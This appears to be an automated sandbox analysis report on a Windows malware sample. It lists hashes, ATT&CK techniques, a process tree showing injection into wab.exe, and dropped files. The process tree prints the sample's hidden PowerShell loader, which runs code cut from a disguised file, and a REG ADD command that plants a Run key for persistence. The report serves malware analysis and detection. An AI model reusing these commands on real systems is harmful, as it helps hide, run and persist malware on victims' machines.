39e37a6736984b617a47818ffdbd202199c75f769821d4939f1d61dff621098d

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
27/04/2024, 01:19

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General

Target
39e37a6736984b617a47818ffdbd202199c75f769821d4939f1d61dff621098d.exe
Size 548KB
Sample240427-bpmdtsfh82
SHA256 39e37a6736984b617a47818ffdbd202199c75f769821d4939f1d61dff621098d
MD5 edeb34f392872f3c9e220bc9dcf9ba86
SHA1 e9fb6ff7cd47ec7b08391f4c1ecc1e684bf28ff7
SHA512 f33bc39692838cc94ae0ed6aedddfcecb8fd564de6de0d81a258ece57eba04cb7820f1fe834e48b4e0cbce95409449514bb645e69584ad62e0439fea306af424
SSDEEP 12288:47YvE3TaaFpfEwmgfwwQxeoKGaGsIMcgLvlU2eZysZMNue:bENj7JgaRe0VN9
MD5 SHA1 SHA512 SSDEEP

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Emraud = "%Skraastillinger% -windowstyle minimized $Boplskommunens=(Get-ItemProperty -Path 'HKCU:\\Somervillite\\').Efs;%Skraastillinger% ($Boplskommunens)"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3420	powershell.exe
3656	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3420 set thread context of 3656	3420	powershell.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4996	reg.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3420	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3420	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 3420	1640	39e37a6736984b617a47818ffdbd202199c75f769821d4939f1d61dff621098d.exe	84
PID 1640 wrote to memory of 3420	1640	39e37a6736984b617a47818ffdbd202199c75f769821d4939f1d61dff621098d.exe	84
PID 1640 wrote to memory of 3420	1640	39e37a6736984b617a47818ffdbd202199c75f769821d4939f1d61dff621098d.exe	84
PID 3420 wrote to memory of 932	3420	powershell.exe	89
PID 3420 wrote to memory of 932	3420	powershell.exe	89
PID 3420 wrote to memory of 932	3420	powershell.exe	89
PID 3420 wrote to memory of 3656	3420	powershell.exe	91
PID 3420 wrote to memory of 3656	3420	powershell.exe	91
PID 3420 wrote to memory of 3656	3420	powershell.exe	91
PID 3420 wrote to memory of 3656	3420	powershell.exe	91
PID 3420 wrote to memory of 3656	3420	powershell.exe	91
PID 3656 wrote to memory of 4024	3656	wab.exe	97
PID 3656 wrote to memory of 4024	3656	wab.exe	97
PID 3656 wrote to memory of 4024	3656	wab.exe	97
PID 4024 wrote to memory of 4996	4024	cmd.exe	99
PID 4024 wrote to memory of 4996	4024	cmd.exe	99
PID 4024 wrote to memory of 4996	4024	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\39e37a6736984b617a47818ffdbd202199c75f769821d4939f1d61dff621098d.exe
"C:\Users\Admin\AppData\Local\Temp\39e37a6736984b617a47818ffdbd202199c75f769821d4939f1d61dff621098d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Interlucent=Get-Content 'C:\Users\Admin\AppData\Local\salpetersyrefabrikkers\occupying\Nonsynoptic168\unvolubly\Langtrkkendes\Pelletising.Art';$Sciography=$Interlucent.SubString(57898,3);.$Sciography($Interlucent)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3420
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:932
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:3656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Emraud" /t REG_EXPAND_SZ /d "%Skraastillinger% -windowstyle minimized $Boplskommunens=(Get-ItemProperty -Path 'HKCU:\Somervillite\').Efs;%Skraastillinger% ($Boplskommunens)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4024
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Emraud" /t REG_EXPAND_SZ /d "%Skraastillinger% -windowstyle minimized $Boplskommunens=(Get-ItemProperty -Path 'HKCU:\Somervillite\').Efs;%Skraastillinger% ($Boplskommunens)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_rbc1cizk.0jl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rbc1cizk.0jl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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Pelletising.Art

Path C:\Users\Admin\AppData\Local\salpetersyrefabrikkers\occupying\Nonsynoptic168\unvolubly\Langtrkkendes\Pelletising.Art
Size 56KB
SHA256 de1fc8dc64b49c5ae8c2c9c45e7dd4d2aa154f845e99a8e8fa08b5abf23d38a7
MD5 19779840eecfc141420a08cb9a741962
SHA1 0f0a168bc292914da146f667557ff5f07b0f5ae5
SHA512 d3be08e433f93bafc5d53ea6e91c53e01d755bf1c61e4006aa184da35644b343bd72d0ddbee9820db107c2df212dc4a51a4e06ebf3cf6c1e45ed250f2b383723
SSDEEP 1536:M2JnexhWTLwrzAPNCVjXRFnhoMMesE5FxGFlAqfq+7:MGghWPwrMeh9b2ELxGFl77
MD5 SHA1 SHA512 SSDEEP

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Raciality.Fly

Path C:\Users\Admin\AppData\Local\salpetersyrefabrikkers\occupying\Nonsynoptic168\unvolubly\Langtrkkendes\Raciality.Fly
Size 331KB
SHA256 286b9df7b42e7f021bb5eebe1b6e00d6178f01a4b308244cabfd955cd91b5d60
MD5 4fef7ec4aa88c70e0e50af8288552883
SHA1 93fb76eb5d63d8bd92cb962e8f6ca7c8e7ae5950
SHA512 9f386415243a791b58853c00c378aa57d3aa69f3e690e452220da92d5b4888a0c35099b20ebc9672b0797bcd58091fca8d1f0bd75a616b164896531b8206b1cb
SSDEEP 6144:Vg2nMcR6xsO57WM9Z+a+Ii3D66xODvok9RaO3JtwL5gWwA76WwQK+/eKk7EcorXX:V2cR6xsOAMzlI3mHDvokHaO5U5r4QK+b
MD5 SHA1 SHA512 SSDEEP

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memory/3420-34-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-32-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-10-0x0000000004C30000-0x0000000004C52000-memory.dmp

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memory/3420-11-0x0000000005500000-0x0000000005566000-memory.dmp

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memory/3420-12-0x0000000005570000-0x00000000055D6000-memory.dmp

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memory/3420-7-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-22-0x00000000055E0000-0x0000000005934000-memory.dmp

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memory/3420-23-0x0000000005BB0000-0x0000000005BCE000-memory.dmp

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memory/3420-24-0x0000000005C60000-0x0000000005CAC000-memory.dmp

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memory/3420-25-0x0000000006BA0000-0x0000000006C36000-memory.dmp

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memory/3420-35-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-27-0x0000000006160000-0x0000000006182000-memory.dmp

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memory/3420-28-0x00000000071F0000-0x0000000007794000-memory.dmp

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memory/3420-8-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-30-0x0000000007E20000-0x000000000849A000-memory.dmp

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memory/3420-5-0x0000000002600000-0x0000000002636000-memory.dmp

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memory/3420-9-0x0000000004CA0000-0x00000000052C8000-memory.dmp

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memory/3420-33-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-26-0x0000000006110000-0x000000000612A000-memory.dmp

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memory/3420-6-0x0000000073A30000-0x00000000741E0000-memory.dmp

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memory/3420-37-0x00000000070E0000-0x00000000070E4000-memory.dmp

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memory/3420-38-0x0000000073A30000-0x00000000741E0000-memory.dmp

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memory/3420-39-0x00000000084A0000-0x000000000DACF000-memory.dmp

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memory/3420-41-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-42-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-43-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-44-0x00000000773B1000-0x00000000774D1000-memory.dmp

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memory/3420-46-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-45-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-47-0x0000000002580000-0x0000000002590000-memory.dmp

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memory/3420-56-0x0000000073A30000-0x00000000741E0000-memory.dmp

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memory/3656-48-0x0000000077438000-0x0000000077439000-memory.dmp

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memory/3656-50-0x0000000001200000-0x0000000002454000-memory.dmp

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memory/3656-49-0x00000000773B1000-0x00000000774D1000-memory.dmp

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